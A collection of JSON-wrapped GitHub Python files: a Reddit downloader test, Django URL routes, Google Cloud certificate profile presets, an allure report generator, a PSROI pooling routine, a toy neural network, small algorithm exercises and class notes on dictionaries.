Path):\n runner = CliRunner()\n test_args = create_basic_args_for_cloner_runner(test_args, tmp_path)\n with patch(\"bdfr.connector.sleep\", return_value=None):\n with patch(\n \"bdfr.connector.RedditConnector.check_user_existence\",\n side_effect=prawcore.exceptions.ResponseException(MagicMock(status_code=response)),\n ):\n result = runner.invoke(cli, test_args)\n assert result.exit_code == 0\n assert f\"received {response} HTTP response\" in result.output\n","repo_name":"aliparlakci/bulk-downloader-for-reddit","sub_path":"tests/integration_tests/test_clone_integration.py","file_name":"test_clone_integration.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":2113,"dataset":"github-code","pt":"7"} +{"seq_id":"29599610453","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nimport core.urls \n#import core.email_views\nimport settings\n\nadmin.autodiscover()\n\nmedia_url = settings.MEDIA_URL.lstrip('/').rstrip('/')\n\nurlpatterns = patterns('',\n\turl(r'^$', 'modernomad.views.index'),\n\turl(r'^about/$', 'modernomad.views.about'),\n\turl(r'^coworking/$', 'modernomad.views.coworking'),\n\turl(r'^broadcast/$', 'core.views.broadcast'),\n\turl(r'^stay/$', 'modernomad.views.stay'),\n\turl(r'^occupancy/$', 'modernomad.views.occupancy'),\n\turl(r'^calendar/$', 'modernomad.views.calendar'),\n\turl(r'^guestinfo/$', 'modernomad.views.GuestInfo'),\n\turl(r'^payment/$', 'modernomad.views.GenericPayment'),\n\turl(r'^thanks/$', 'modernomad.views.thanks'),\n\turl(r'^today/$', 'modernomad.views.today'),\n\t\n#\turl(r'^dashboard/$', 'core.views.dashboard'),\n\t\n\t\n\turl(r'^events/$', 'modernomad.views.events'),\n\turl(r'^404/$', 'modernomad.views.ErrorView'),\n\n\n\t# The core views, broken out into a couple of top-level paths.\n\turl(r'^people/', include(core.urls.user_patterns)),\n\turl(r'^locations/', include(core.urls.house_patterns)),\n\turl(r'^reservation/', include(core.urls.reservation_patterns)),\n\turl(r'^manage/', include(core.urls.management_patterns)),\n\turl(r'^room/', include(core.urls.room_patterns)),\n\n\t# The Django admin interface.\n\turl(r'^admin/', include(admin.site.urls)),\n\n\t# various other useful things\n\turl(r'^ico/favicon\\.ico$', 'django.views.generic.simple.redirect_to', {'url': '/media/img/favicon.ico'}),\n\n\t#email_patterns = patterns('modernomad.email_views',\n\t#\turl(r'^guests$', 'EmailGuests', name='email_guests'),\n\t#\turl(r'^current$', 'EmailCurrent', name='email_current'),\n\t#)\n\n\t#url(r'^email/', include(email_patterns))\n\n)\n\n# media url hackery. \nurlpatterns += patterns('',\n\t(r'^%s/(?P.*)$' % media_url, 'django.views.static.serve',\n\t { 'document_root': settings.MEDIA_ROOT, 'show_indexes':True }),\n)\n\n","repo_name":"konklone/modernomad","sub_path":"modernomad/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"27769256499","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.privateca import base as privateca_base\nfrom googlecloudsdk.api_lib.util import messages as messages_util\nfrom googlecloudsdk.calliope import exceptions\n\n_LEAF_CLIENT_TLS = {\n 'caOptions': {\n 'isCa': False\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'clientAuth': True\n },\n 'baseKeyUsage': {\n 'digitalSignature': True,\n 'keyEncipherment': True\n }\n }\n}\n\n_LEAF_CODE_SIGNING = {\n 'caOptions': {\n 'isCa': False\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'codeSigning': True\n },\n 'baseKeyUsage': {\n 'digitalSignature': True,\n 'contentCommitment': True\n }\n }\n}\n\n_LEAF_MTLS = {\n 'caOptions': {\n 'isCa': False\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'serverAuth': True,\n 'clientAuth': True\n },\n 'baseKeyUsage': {\n 'digitalSignature': True,\n 'keyEncipherment': True\n }\n }\n}\n\n_LEAF_SERVER_TLS = {\n 'caOptions': {\n 'isCa': False\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'serverAuth': True\n },\n 'baseKeyUsage': {\n 'digitalSignature': True,\n 'keyEncipherment': True\n }\n }\n}\n\n_LEAF_SMIME = {\n 'caOptions': {\n 'isCa': False\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'emailProtection': True\n },\n 'baseKeyUsage': {\n 'digitalSignature': True,\n 'contentCommitment': True\n }\n }\n}\n\n_ROOT_UNCONSTRAINED = {\n 'caOptions': {\n 'isCa': True\n },\n 'keyUsage': {\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_CLIENT_TLS_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'clientAuth': True\n },\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_CODE_SIGNING_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'codeSigning': True\n },\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_MTLS_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'serverAuth': True,\n 'clientAuth': True\n },\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_SERVER_TLS_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'serverAuth': True\n },\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_SMIME_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'extendedKeyUsage': {\n 'emailProtection': True\n },\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_SUBORDINATE_UNCONSTRAINED_PATHLEN_0 = {\n 'caOptions': {\n 'isCa': True,\n 'maxIssuerPathLength': 0\n },\n 'keyUsage': {\n 'baseKeyUsage': {\n 'certSign': True,\n 'crlSign': True\n }\n }\n}\n\n_PRESET_PROFILES = {\n 'leaf_client_tls': _LEAF_CLIENT_TLS,\n 'leaf_code_signing': _LEAF_CODE_SIGNING,\n 'leaf_mtls': _LEAF_MTLS,\n 'leaf_server_tls': _LEAF_SERVER_TLS,\n 'leaf_smime': _LEAF_SMIME,\n 'root_unconstrained': _ROOT_UNCONSTRAINED,\n 'subordinate_client_tls_pathlen_0': _SUBORDINATE_CLIENT_TLS_PATHLEN_0,\n 'subordinate_code_signing_pathlen_0': _SUBORDINATE_CODE_SIGNING_PATHLEN_0,\n 'subordinate_mtls_pathlen_0': _SUBORDINATE_MTLS_PATHLEN_0,\n 'subordinate_server_tls_pathlen_0': _SUBORDINATE_SERVER_TLS_PATHLEN_0,\n 'subordinate_smime_pathlen_0': _SUBORDINATE_SMIME_PATHLEN_0,\n 'subordinate_unconstrained_pathlen_0': _SUBORDINATE_UNCONSTRAINED_PATHLEN_0\n}\n\n\ndef GetPresetProfileOptions():\n \"\"\"Returns the possible string options for the use-preset-profile flag.\"\"\"\n return sorted(_PRESET_PROFILES.keys())\n\n\ndef GetPresetX509Parameters(profile_name):\n \"\"\"Parses the profile name string into the corresponding API X509Parameters.\n\n Args:\n profile_name: The preset profile name.\n\n Returns:\n An X509Parameters object.\n \"\"\"\n if profile_name not in _PRESET_PROFILES:\n raise exceptions.InvalidArgumentException(\n '--use-preset-profile',\n 'The preset profile that was specified does not exist.')\n messages = privateca_base.GetMessagesModule('v1')\n return messages_util.DictToMessageWithErrorCheck(\n _PRESET_PROFILES[profile_name], messages.X509Parameters)\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/privateca/preset_profiles.py","file_name":"preset_profiles.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"11640215503","text":"def minimumPlatform(n,arr,dep):\r\n arr.sort()\r\n dep.sort()\r\n platform = {}\r\n count = 1\r\n platform[count] = dep[0]\r\n\r\n for i in range(1, len(arr)):\r\n alloted = True\r\n for j in platform:\r\n alloted = False\r\n if platform[j] < arr[i]:\r\n platform[j] = dep[i]\r\n alloted = True\r\n break\r\n if not alloted:\r\n count += 1\r\n platform[count] = dep[i]\r\n return count\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n print(minimumPlatform(6,[\"0900\", \"0940\", \"0950\", \"1100\", \"1500\", \"1800\"],[\"0910\", \"1200\", \"1120\", \"1130\", \"1900\", \"2000\"]))\r\n\r\n\r\n","repo_name":"kamaleshpati/AlgoAndLeetCode","sub_path":"arraylist/gfg_platform.py","file_name":"gfg_platform.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6779643799","text":"import tensorflow as tf\nimport numpy as np\n\ndef tf_flatten(inputs):\n \"\"\"Flatten tensor\"\"\"\n return tf.reshape(inputs, [-1])\n\ndef tf_repeat(inputs, repeats, axis=0):\n assert len(inputs.get_shape()) == 1\n\n a = tf.expand_dims(inputs, -1)\n a = tf.tile(a, [1, repeats])\n a = tf_flatten(a)\n return a\n\ndef np_flatten(inputs):\n return np.reshape(inputs, [-1])\n\ndef np_repeat(inputs, repeats, axis=0):\n assert len(np.shape(inputs)) == 1\n\n a = np.expand_dims(inputs, -1)\n a = np.tile(a, [1, repeats])\n a = np_flatten(a)\n return a\n\n\ndef ps_roi(features, boxes, pool = True, offsets = [], k = 3, feat_stride = 8):\n pooled_response = tf.py_func(_ps_roi,[features, boxes, pool, offsets, k, feat_stride],tf.float32)\n pooled_fea = tf.convert_to_tensor(pooled_response)\n return pooled_fea\n\ndef _ps_roi(features, boxes, pool, offsets, k, feat_stride):\n '''\n Implement the PSROI pooling\n :param features: (1,h,w,2*k^2*(c+1) or (1,h,w,2*K^2*4)\n :param boxes: (5)->(0,x1,y1,x2,y2)\n :param pool: control whether ave_pool the features\n :param offsets: (k*k*(c+1),2)\n :param k: output size,(x,y)\n :return:(b,k,k,c+1)\n '''\n fea_shape = np.shape(features)\n num_classes = fea_shape[-1] / (k * k) #channels\n depth = num_classes #(c+1)\n feature_boxes = np.round(boxes / feat_stride)\n feature_boxes[-2:] -= 1 #not include right and bottom edge\n top_left_point = np.hstack((feature_boxes[1:3],feature_boxes[1:3])).reshape((1,4))\n boxes_part = np.zeros(( k * k, 4)) #(k^2,4)\n boxes_part += top_left_point #(k*k,4)\n width = (feature_boxes[3] - feature_boxes[1]) / k # (n,1)\n height = (feature_boxes[4] - feature_boxes[2]) / k # (n,1)\n\n # split boxes\n shift_x = np.arange(0, k) * width\n shift_y = np.arange(0, k) * height\n shift_x, shift_y = np.meshgrid(shift_x, shift_y)\n shifts = np.vstack((shift_x.ravel(), shift_y.ravel(),\n shift_x.ravel(), shift_y.ravel())).transpose()\n boxes_part += shifts\n boxes_part[:, 2] = boxes_part[:, 0] + width - 1\n boxes_part[:, 3] = boxes_part[:, 1] + height - 1\n boxes_part = np.reshape(np.floor(boxes_part),(k,k,-1,4)) #(k,k,1,4)\n boxes_part[:, -1, 0, 2] = feature_boxes[-2]\n boxes_part[-1, :, 0, 3] = feature_boxes[-1]\n boxes_part = np.reshape(boxes_part, (1, int(k*k), 4)) #(1,k*k,4)\n\n # add offsets to splitted boxes\n if len(offsets) == 0:\n offsets0 = np.zeros((depth * k * k, 2)) # (k*k*2*(c+1),2)\n else:\n offsets0 = offsets # (k*k*c,2)\n offsets0 = np.reshape(offsets0, (int(k * k), int(depth), 2)) #(x,y,x,y,x,y)(k*k,c,2)\n # offsets1 = tf.stack((offsets0, offsets0),axis=3)\n # offsets1 = tf.reshape(offsets1,(boxes_num, k * k, depth, 4))\n offsets1 = np.tile(offsets0, (1, 1, 2)) #(k*k,c,4)\n offsets1 = np.transpose(offsets1,(1,0,2)) #(c,k*k,4)\n boxes_part = np.repeat(boxes_part,depth,axis=0)\n boxes_part += offsets1 #(c,k*k,4)\n boxes_part = np.reshape(boxes_part,(int(k*k*depth),4)) #(c*k*k,4)\n\n # clip split boxes by feature' size\n temp00 = np.clip(boxes_part[..., 0], 0, fea_shape[2] - 1)\n temp11 = np.clip(boxes_part[..., 1], 0, fea_shape[1] - 1)\n temp22 = np.clip(boxes_part[..., 2], 0, fea_shape[2] - 1)\n temp33 = np.clip(boxes_part[..., 3], 0, fea_shape[1] - 1)\n boxes_k_offset = np.stack([temp00,temp11,temp22,temp33],axis=-1) #(c*k*k,4)\n boxes_k_offset = np.reshape(boxes_k_offset,(int(depth), int(k*k), 4)) #(c,k*k,4)\n boxes_k_offset = np.transpose(boxes_k_offset,(1,0,2)) #(k*k,c,4)\n\n # num of classes\n all_boxes_num = k * k\n for i in range(all_boxes_num):\n part_k = i % (k * k)\n pooled_fea = map_coordinates(features[0],boxes_k_offset[i],part_k,num_classes,pool) #(depth,1)/(depth,h,w)\n if (part_k % k) == 0:\n pooled_row = pooled_fea\n elif (part_k % k) == (k - 1) and part_k != (k - 1):\n pooled_row = np.concatenate((pooled_row, pooled_fea), axis=2)\n pooled_response = np.concatenate((pooled_response, pooled_row), axis=1)\n elif (part_k % k) == (k - 1) and part_k == (k - 1):\n pooled_row = np.concatenate((pooled_row,pooled_fea), axis=2)\n pooled_response = pooled_row\n else:\n pooled_row = np.concatenate((pooled_row,pooled_fea), axis=2)\n # try:\n # pooled_response = np.concatenate((pooled_response, pooled_fea), 0)\n # except UnboundLocalError:\n # pooled_response = pooled_fea\n\n return pooled_response #(depth,k,k)/(depth,height,width)\n\ndef map_coordinates(inputs,boxes,k,num_classes,pool):\n '''\n Get values in the boxes\n :param inputs: feature map (h,w,2*k^2*(c+1) or (h,w,2*K^2*2)\n :param boxes: (depth,4)(x1,y1,x2,y2) May be fraction\n :param k: relative position\n :param num_classes:\n :param pool: whether ave_pool the features\n :return:\n '''\n # compute box's width and height, both are integer\n width = boxes[0][2] - boxes[0][0] + 1\n height = boxes[0][3] - boxes[0][1] + 1\n\n depth = np.shape(boxes)[0]\n tp_lf = np.reshape(boxes[:,0:2],(-1,1,2)) #(depth,1,2)\n grid = np.meshgrid(np.array(range(int(height))), np.array(range(int(width))))\n grid = np.stack(grid, axis=-1) #(h,w,2)\n #grid = np.expand_dims(grid,axis=0) #(1,h,w,2)\n grid = np.reshape(grid, (1,-1, 2)) #(1,n_points,2)\n coords = grid + tp_lf #(depth,n,2)\n n_coords = np.shape(coords)[1]\n\n # coords_lt = tf.cast(tf.floor(coords), 'int32') #(depth,n_points,2)\n # coords_rb = tf.cast(tf.ceil(coords), 'int32')\n # coords_lb = tf.stack([coords_lt[..., 0], coords_rb[..., 1]], axis=-1)\n # coords_rt = tf.stack([coords_rb[..., 0], coords_lt[..., 1]], axis=-1)\n\n\n coords_lt = np.floor(coords)\n coords_rb = np.ceil(coords)\n coords_lt = coords_lt.astype(np.int32)\n coords_rb = coords_rb.astype(np.int32)\n coords_lb = np.stack([coords_lt[..., 0], coords_rb[..., 1]], axis=-1)\n coords_rt = np.stack([coords_rb[..., 0], coords_lt[..., 1]], axis=-1) #(depth,n_points,2)\n\n idx = np_repeat(range(depth), n_coords)\n\n def _get_vals_by_coords(input, coords):\n inputs1 = input[:,:,int(k*num_classes):int((k+1)*num_classes)] #(h,w,depth)\n inputs2 = np.transpose(inputs1,(2,0,1)) #(depth,h,w)\n indices = np.stack([\n idx,np_flatten(coords[..., 0]), np_flatten(coords[..., 1])\n ], axis=-1)\n inputs_shape = np.shape(inputs2)\n temp1 = inputs_shape[1]*inputs_shape[2]\n temp2 = inputs_shape[2]\n indices1 = [i[0]*temp1+i[1]*temp2+i[2] for i in indices]\n\n vals = np.take(inputs2,indices1)\n vals = np.reshape(vals, (int(depth),int(n_coords)))\n return vals #(depth,n_points)\n\n vals_lt = _get_vals_by_coords(inputs, coords_lt)\n vals_rb = _get_vals_by_coords(inputs, coords_rb)\n vals_lb = _get_vals_by_coords(inputs, coords_lb)\n vals_rt = _get_vals_by_coords(inputs, coords_rt) #(depth,n_points)\n\n # coords_offset_lt = coords - tf.cast(coords_lt, 'float32') #(depth,n_points,2)\n coords_offset_lt = coords - coords_lt # (depth,n_points,2)\n vals_t = vals_lt + (vals_rt - vals_lt) * coords_offset_lt[..., 0]\n vals_b = vals_lb + (vals_rb - vals_lb) * coords_offset_lt[..., 0]\n mapped_vals = vals_t + (vals_b - vals_t) * coords_offset_lt[..., 1] # (depth,n_points)\n\n if pool:\n pooled_box = np.mean(mapped_vals, axis=1) #(depth,1)\n pooled_box = np.reshape(pooled_box, (depth, 1, 1)) #(depth,1,1)\n else:\n pooled_box = np.reshape(mapped_vals, (depth, int(height), int(width))) #(depth,h,w)\n\n\n return pooled_box #(depth,1)/(depth,h,w)","repo_name":"jdd803/OCR","sub_path":"lib/deform_psroi_pooling/ps_roi.py","file_name":"ps_roi.py","file_ext":"py","file_size_in_byte":7659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"410312910","text":"import json\nimport os\nimport time\nimport zipfile\nfrom pathlib import Path\nfrom typing import IO, Dict, List, Optional\n\nimport aiofiles\nfrom fastapi import UploadFile\nfrom jinja2 import Template\nfrom starlette.concurrency import run_in_threadpool\n\nfrom .config import Settings\nfrom .errors import AllureReportError, MakeReportError, ParseError, SaveZipError\nfrom .schema import Space, SpaceIn\n\n\nclass SpaceRepo(object):\n def __init__(self, settings: Settings):\n self.settings: Settings = settings\n\n def _create_space(self, space_in: SpaceIn) -> Space:\n project_path: Path = self.settings.projectspace / space_in.project\n branch_path: Path = project_path / \"branches\" / space_in.branch\n history_path: Path = branch_path / \"history\"\n revisions_path: Path = branch_path / \"revisions\"\n rev_path: Path = revisions_path / space_in.revision\n\n branch_path.mkdir(exist_ok=True)\n revisions_path.mkdir(exist_ok=True)\n rev_path.mkdir(exist_ok=True)\n history_path.mkdir(exist_ok=True)\n revisions_path.joinpath(space_in.revision).mkdir(exist_ok=True)\n\n return Space(\n project=project_path, branch=branch_path, history=history_path, revisions=revisions_path, rev=rev_path\n )\n\n async def create_space(self, space_in: SpaceIn) -> Space:\n return await run_in_threadpool(self._create_space, space_in)\n\n\nclass ReportRepo(object):\n def __init__(self, settings: Settings, tmp_dir: Path, space: Space, query: SpaceIn):\n self.settings: Settings = settings\n self.tmp_dir: Path = tmp_dir\n self.space: Space = space\n self.query: SpaceIn = query\n\n def _unzip_results(self, results: IO) -> zipfile.ZipFile:\n try:\n return zipfile.ZipFile(results)\n except Exception as e:\n raise ParseError(f\"Error unzip: {e}\")\n\n def _save_results(self, results: IO) -> None:\n z_archive: zipfile.ZipFile = self._unzip_results(results)\n try:\n for z_file_info in z_archive.infolist():\n print(z_file_info.filename)\n if z_file_info.is_dir() or len(Path(z_file_info.filename).parts) > 1:\n raise ParseError(\"Report contain folders\")\n\n z_file_path: Path = self.space.rev / z_file_info.filename\n filename, file_datetime = str(z_file_path), z_file_info.date_time\n file_datetime = time.mktime(file_datetime + (0, 0, -1))\n with open(filename, \"bw\") as f:\n f.write(z_archive.open(z_file_info.filename).read())\n os.utime(filename, (file_datetime, file_datetime))\n except AllureReportError:\n raise\n except Exception as e:\n raise SaveZipError(f\"Cannot save report: {e}\")\n\n def _collect_test_cases(self, test_cases_dir: Path) -> List[Dict]:\n test_cases: List[Dict] = []\n for filename in test_cases_dir.glob(\"*.json\"):\n with open(filename) as f:\n try:\n test_case: Dict = json.load(f)\n except Exception as e:\n print(e)\n continue\n if not test_case.get(\"hidden\"):\n test_cases.append(test_case)\n return test_cases\n\n def _render_mail_report(self, test_cases: List[Dict], title: str) -> str:\n with open(self.settings.email.template) as f:\n render = Template(f.read())\n return render.render(\n css=self.settings.email.css,\n title=self.settings.email.title_fmt.format(branch=self.query.branch, rev=self.query.revision),\n serverUrl=self.query.url_email_report or \"\",\n testCases=test_cases,\n )\n\n def _make_allure_report(self) -> Path:\n link_history: Path = self.space.rev.joinpath(\"history\").absolute()\n link_history.symlink_to(self.space.history.absolute())\n try:\n if (\n os.system(f\"{self.settings.allure} generate {self.space.rev.absolute()} -o {self.tmp_dir.absolute()}\")\n != 0\n ):\n raise MakeReportError(\"Error generate report\")\n tmp_history_path: Path = Path(self.tmp_dir) / \"history\"\n finally:\n link_history.unlink()\n\n if self.settings.email is not None:\n mail: str = self._render_mail_report(\n self._collect_test_cases(self.tmp_dir / \"data/test-cases\"), f\"Revision: {self.space.rev.parts[-1]}\"\n )\n with open(self.tmp_dir / \"export\" / self.settings.email.export_path, \"w\") as f:\n f.write(mail)\n\n if (\n os.system(\n f\"cd {tmp_history_path.absolute()} && \"\n f\"cp --recursive --preserve=timestamps $(ls) {self.space.history.absolute()}\"\n )\n != 0\n ):\n raise MakeReportError(\"Error save history\")\n if os.system(f\"cd {self.tmp_dir.absolute()} && zip -r report.zip .\") != 0:\n raise MakeReportError(\"Error zip report\")\n zip_report: Path = self.tmp_dir / \"report.zip\"\n if not zip_report.exists():\n raise MakeReportError(\"Error make report.zip\")\n\n return zip_report\n\n async def save_results(self, results: UploadFile) -> None:\n await run_in_threadpool(self._save_results, results.file)\n\n async def make_report(self) -> Path:\n zip_report: Path = await run_in_threadpool(self._make_allure_report)\n return zip_report\n\n async def get_stats(self) -> Optional[dict]:\n storage: dict = {}\n try:\n async with aiofiles.open(self.tmp_dir / \"prometheusData.txt\") as f:\n async for line in f:\n name, value = line.strip().split()\n storage[name] = value\n except (FileNotFoundError, ValueError):\n return None\n return storage\n","repo_name":"penguinlav/allure_reporter","sub_path":"allure_reporter/repos.py","file_name":"repos.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"20402242264","text":"import numpy as np\nimport random\nimport copy\n\ndef normal(x, mu, sig):\n\treturn 1. / (np.sqrt(2 * np.pi) * sig) * np.exp(-0.5 * np.square(x - mu) / np.square(sig))\n\n\ndef trunc_normal(x, mu, sig, bounds=None):\n\tif bounds is None: \n\t\tbounds = (-np.inf, np.inf)\n\n\tnorm = normal(x, mu, sig)\n\tnorm[x < bounds[0]] = 0\n\tnorm[x > bounds[1]] = 0\n\n\treturn norm\n\n\ndef sample_trunc(n, mu, sig, bounds=None):\n\t\"\"\" Sample `n` points from truncated normal distribution \"\"\"\n\tx = np.linspace(mu - 5. * sig, mu + 5. * sig, 10000)\n\ty = trunc_normal(x, mu, sig, bounds)\n\ty_cum = np.cumsum(y) / y.sum()\n\n\tyrand = np.random.rand(n)\n\tsample = np.interp(yrand, y_cum, x)\n\n\treturn sample\n\n\ndef activation_function(x):\n\treturn 1/(1 + np.exp(-x))\n\nclass Nnetwork:\n\t\"\"\"\n\tA class to implement a neural network, with 1 hidden layer\n\n\tTODO (can try):\n\t\tAdd epsilon for mutation, and epsilon's std deviation will be inversely proportional to its fitness function.\n\t\"\"\"\n\tdef __init__(self, \n\t\t\t\t no_of_in_nodes, \n\t\t\t\t no_of_out_nodes, \n\t\t\t\t no_of_hidden_nodes,\n\t\t\t\t best_weights = None):\n\t\tself.no_of_in_nodes = no_of_in_nodes\n\t\tself.no_of_out_nodes = no_of_out_nodes\n\t\tself.no_of_hidden_nodes = no_of_hidden_nodes\n\t\tif (best_weights is not None):\n\t\t\tself.weights = best_weights\n\t\telse:\n\t\t\tself.create_weight_matrices()\n\t\tself.generation = 0\n\t\tself.score = 0\n\t\n\tdef __lt__(self, other):\n\t\treturn True\n\t\n\tdef create_weight_matrices(self):\n\t\t\"\"\" A method to initialize the weight matrices of the neural network\"\"\"\n\n\t\tself.weights_in_hidden = np.zeros((self.no_of_hidden_nodes, self.no_of_in_nodes))\n\t\tself.weights_hidden_out = np.zeros((self.no_of_out_nodes, self.no_of_hidden_nodes))\n\t\t\n\t\tin_samples = sample_trunc(self.no_of_hidden_nodes * self.no_of_in_nodes, 0, 1, (-1, 1))\n\t\tk = 0\n\t\tfor i in range(len(self.weights_in_hidden)):\n\t\t\tfor j in range(len(self.weights_in_hidden[i])):\n\t\t\t\tself.weights_in_hidden[i][j] = in_samples[k]\n\t\t\t\tk += 1\n\n\t\tout_samples = sample_trunc(self.no_of_out_nodes * self.no_of_hidden_nodes, 0, 1, (-1, 1))\n\t\tk = 0\n\t\tfor i in range(len(self.weights_hidden_out)):\n\t\t\tfor j in range(len(self.weights_hidden_out[i])):\n\t\t\t\tself.weights_hidden_out[i][j] = out_samples[k]\n\t\t\t\tk += 1\n\n\t\tself.weights = [self.weights_in_hidden, self.weights_hidden_out]\n\t\n\tdef get_matrices(self):\n\t\treturn self.weights, self.score, self.generation\n\t\n\tdef set_matrices(self, weights, generation):\n\t\tassert(self.generation == generation - 1)\n\n\t\tself.generation = generation\n\n\t\tself.weights = weights\n\n\tdef set_scores(self, score):\n\t\tself.score = score\n\n\tdef cross_breed(self, weights1, p):\n\t\tweights = []\n\t\tfor i in range(len(weights1)):\n\t\t\tassert(weights1[i].shape == self.weights[i].shape)\n\t\t\tnums = np.random.choice([0, 1], size=weights1[i].shape, p=[1-p, p])\n\n\t\t\tweights.append(weights1[i] * nums + (1-nums) * self.weights[i])\n\n\t\tself.weights = weights\n\t\treturn weights\n\n\tdef run(self, inputs):\n\t\tassert(len(inputs) == self.no_of_in_nodes)\n\t\tinput_vector = np.array(inputs, ndmin=2).T\n\t\tfor wgt in self.weights:\n\t\t\tinput_vector = activation_function(wgt @ input_vector)\n\t\t\t# output_vector = activation_function(self.weights_hidden_out @ input_hidden)\n\t\treturn input_vector\n","repo_name":"Code-Score/ai-games","sub_path":"utils/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"6920110158","text":"def solution(s):\n answer = []\n s = s[2:-2].replace(\"}\",\"\").replace(\",\",\" \").split(\"{\")\n for i, v in enumerate(s):\n s[i] = v.split()\n s.sort(key = lambda x:len(x))\n for i in s:\n for j in range(len(i)):\n if int(i[j]) not in answer:\n answer.append(int(i[j]) )\n return answer\n","repo_name":"jeongYuri/coding-test-solution","sub_path":"프로그래머스/lv2/64065. 튜플/튜플.py","file_name":"튜플.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3641548977","text":"#####################\n## Dalton Murray #\n## 03/24/20201 #\n## Class notes #\n#####################\n\nstudent = {\n \"name\": \"John Smith\",\n \"age\": \"25\",\n \"grades\": [87, 90]\n}\n\n# Dictionary is mutable\n# Can't have duplicate keys\n\nprint(student[\"name\"])\nprint(10*\"*\")\n\n# One type of dictionary has index and one doesn't\n# One also has order and one doesn't\n\nprint(type(student))\nprint(10*\"*\")\n\nstudent[\"name\"] = \"Rose Davidson\"\nprint(student)\n\nstudent.update({\"age\":48})\nprint(student[\"age\"])\n\nstudent[\"id\"] = 110\nstudent.update({\"email\":\"John@gmail.com\"})\n\nprint(student)\n\n# student.popitem()\n# print(student)\n\n# del student[\"age\"]\n# print(student)\n\n# student.clear()\n# print(student)\n\nprint(10*\"*\")\nfor i in student:\n print(i, student[i])\nprint(10*\"*\")\n\nprint(student.keys())\nprint(list(student.values()))\n\nprint(10*\"*\")\nfor i in student.keys():\n print(i)\nprint(10*\"*\")\n\nprint(list(student.items()))\n\nfor k, v in student.items():\n print(k, v)\nprint(10*\"*\")\n\n# Must use .copy in order to make a real copy\n# and not just a reference\nnew_student = student.copy()\nnew_student = dict(student)\n\nstudent = {\n \"name\":\"John Smith\",\n \"age\":\"25\",\n \"grades\":{\"math\":87, \"art\":100}\n}\nprint(student[\"grades\"][\"math\"])\n\nprint(student.get(\"grades\"))\n\nstudent.pop(\"name\")\nprint(student.pop(\"name\", \"Key does not exist\"))\nprint(student)\n\n# Updating a dictionary\nnumbers = [1, 2, 3, 4, 5]\nsquares = {\n \"numbers\":numbers\n}\nprint(squares)\n\nnumbers2 = []\nfor i in range(1, 10):\n numbers2.append(i)\nsquares[\"numbers\"] = numbers2\nprint(squares)\nprint(10*\"*\")\n\n# Notes\nnumbers = [1, 2, 3, 4, 5]\n\n# Gets square if the number is divided by 2 \n# and remainder is 0 then it is even\nsquares = {i: i**2 for i in numbers if i % 2 == 0}\nprint(squares)\n\nobjects = [\"door\", \"pen\", \"board\", \"orange\"]\nstr_length = {i: len(i) for i in objects}\nprint(str_length)\n\ndict1 = {\n \"A\": 10,\n \"B\": 20\n}\ndict2 = {\n \"A\": 50,\n \"C\": 30,\n \"D\": 40\n}\n\ndict1.update(dict2)\nprint(dict1)","repo_name":"Dalton-Murray/LTU_Spring_2021_Python","sub_path":"Class Notes_03_24_2021.py","file_name":"Class Notes_03_24_2021.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37128210348","text":"from absl.testing import absltest\nfrom absl.testing import parameterized\n\nimport chex\nimport jax.numpy as jnp\nimport jax.random as random\n\nfrom models import CeiT\n\n\nclass CeiTTest(parameterized.TestCase):\n\n @parameterized.named_parameters(('CeiT-T', 224, 1000, 12, 3, 